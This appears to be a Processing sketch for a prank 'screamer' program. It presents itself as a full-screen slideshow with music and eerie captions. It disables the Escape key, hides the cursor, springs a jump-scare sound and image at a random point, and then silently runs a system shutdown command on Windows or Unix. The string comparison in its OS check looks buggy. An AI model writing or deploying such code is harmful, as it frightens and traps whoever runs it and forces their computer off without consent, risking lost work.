149 lines
3.2 KiB
Plaintext
149 lines
3.2 KiB
Plaintext
import ddf.minim.*;
|
||
import ddf.minim.effects.*;
|
||
|
||
Minim minim;
|
||
AudioPlayer ltp;
|
||
|
||
final int img_count = 5;
|
||
|
||
final String[] txt_vals = {
|
||
"Welcome",
|
||
"(Don't look back)",
|
||
"Why haven't you read my letter yet?!!!"
|
||
};
|
||
|
||
PImage img;
|
||
|
||
String txt = "";
|
||
|
||
int img_num = 1;
|
||
long tmr = 0;
|
||
int brightness = -255;
|
||
|
||
int ti = 0;
|
||
|
||
void keyPressed() {
|
||
key = 0;
|
||
}
|
||
|
||
color[] push_array;
|
||
|
||
int ms = 0;
|
||
|
||
PImage screen = null;
|
||
|
||
void setup() {
|
||
fullScreen();
|
||
size(512, 200, P3D);
|
||
minim = new Minim(this);
|
||
ltp = minim.loadFile("music.wav", 2048);
|
||
noCursor();
|
||
ltp.loop();
|
||
img = loadImage("img" + img_num + ".bmp");
|
||
img.loadPixels();
|
||
push_array = new color[img.pixels.length];
|
||
arrayCopy(img.pixels, push_array);
|
||
img.updatePixels();
|
||
textFont(createFont("c64-pro-rus.otf", 16));
|
||
ms = int(random(4, 11));
|
||
}
|
||
|
||
String fparse(String text, int max) {
|
||
String out = "";
|
||
int il = 0;
|
||
for (int i = 0; i < text.length(); i ++) {
|
||
if (il > max) {
|
||
out += "\n";
|
||
il = 0;
|
||
}
|
||
out += text.charAt(i);
|
||
il ++;
|
||
}
|
||
return out;
|
||
}
|
||
|
||
int f = 0;
|
||
boolean lplay = true;
|
||
boolean rt = true;
|
||
long period = 2000;
|
||
|
||
long ltimer = 0;
|
||
|
||
void draw() {
|
||
background(0);
|
||
image(img, 0, 0, width, height);
|
||
if (millis() - tmr >= 8000) {
|
||
tmr = millis();
|
||
if (lplay) {
|
||
img_num ++;
|
||
if (img_num > img_count) img_num = 1;
|
||
img = loadImage("img" + img_num + ".bmp");
|
||
img.loadPixels();
|
||
push_array = new color[img.pixels.length];
|
||
brightness = -255;
|
||
arrayCopy(img.pixels, push_array);
|
||
img.updatePixels();
|
||
if (ti < txt_vals.length) {
|
||
txt += fparse(txt_vals[ti], 10) + "\n";
|
||
ti ++;
|
||
}
|
||
f ++;
|
||
}
|
||
if (f == ms && lplay) {
|
||
ltp.pause();
|
||
ltp = minim.loadFile("scrimer.wav", 2048);
|
||
ltp.play();
|
||
screen = loadImage("onload.png");
|
||
lplay = false;
|
||
ltimer = millis();
|
||
}
|
||
}
|
||
if (lplay) {
|
||
if (brightness < 0) {
|
||
brightness += 10;
|
||
img.loadPixels();
|
||
for (int i = 0; i < img.pixels.length; i++) {
|
||
|
||
float r = red(push_array[i]) + brightness;
|
||
float g = green(push_array[i]) + brightness;
|
||
float b = blue(push_array[i]) + brightness;
|
||
|
||
r = constrain(r, 0, 255);
|
||
g = constrain(g, 0, 255);
|
||
b = constrain(b, 0, 255);
|
||
|
||
img.pixels[i] = color(r, g, b);
|
||
}
|
||
img.updatePixels();
|
||
}
|
||
text(txt, 10, 26);
|
||
} else {
|
||
if (millis() - ltimer >= period) {
|
||
if (rt == false) {
|
||
String os = System.getProperty("os.name").toLowerCase();
|
||
os = os.startsWith("win") ? "Windows" : (os.contains("nix") || os.contains("nux") ? "Unix/Linux" : "Неопределённая ОС");
|
||
try {
|
||
String cmd = "";
|
||
if (os == "Windows") {
|
||
cmd = "shutdown /s";
|
||
} else {
|
||
cmd = "shutdown -h now";
|
||
}
|
||
Process process = Runtime.getRuntime().exec(cmd);
|
||
process.waitFor();
|
||
} catch (Exception e) {
|
||
println(e);
|
||
}
|
||
} else {
|
||
rt = false;
|
||
period = 8000;
|
||
ltimer = millis();
|
||
ltp.pause();
|
||
ltp = minim.loadFile("clock.wav", 2048);
|
||
ltp.play();
|
||
}
|
||
}
|
||
image(screen, 0, 0, width, height);
|
||
}
|
||
}
|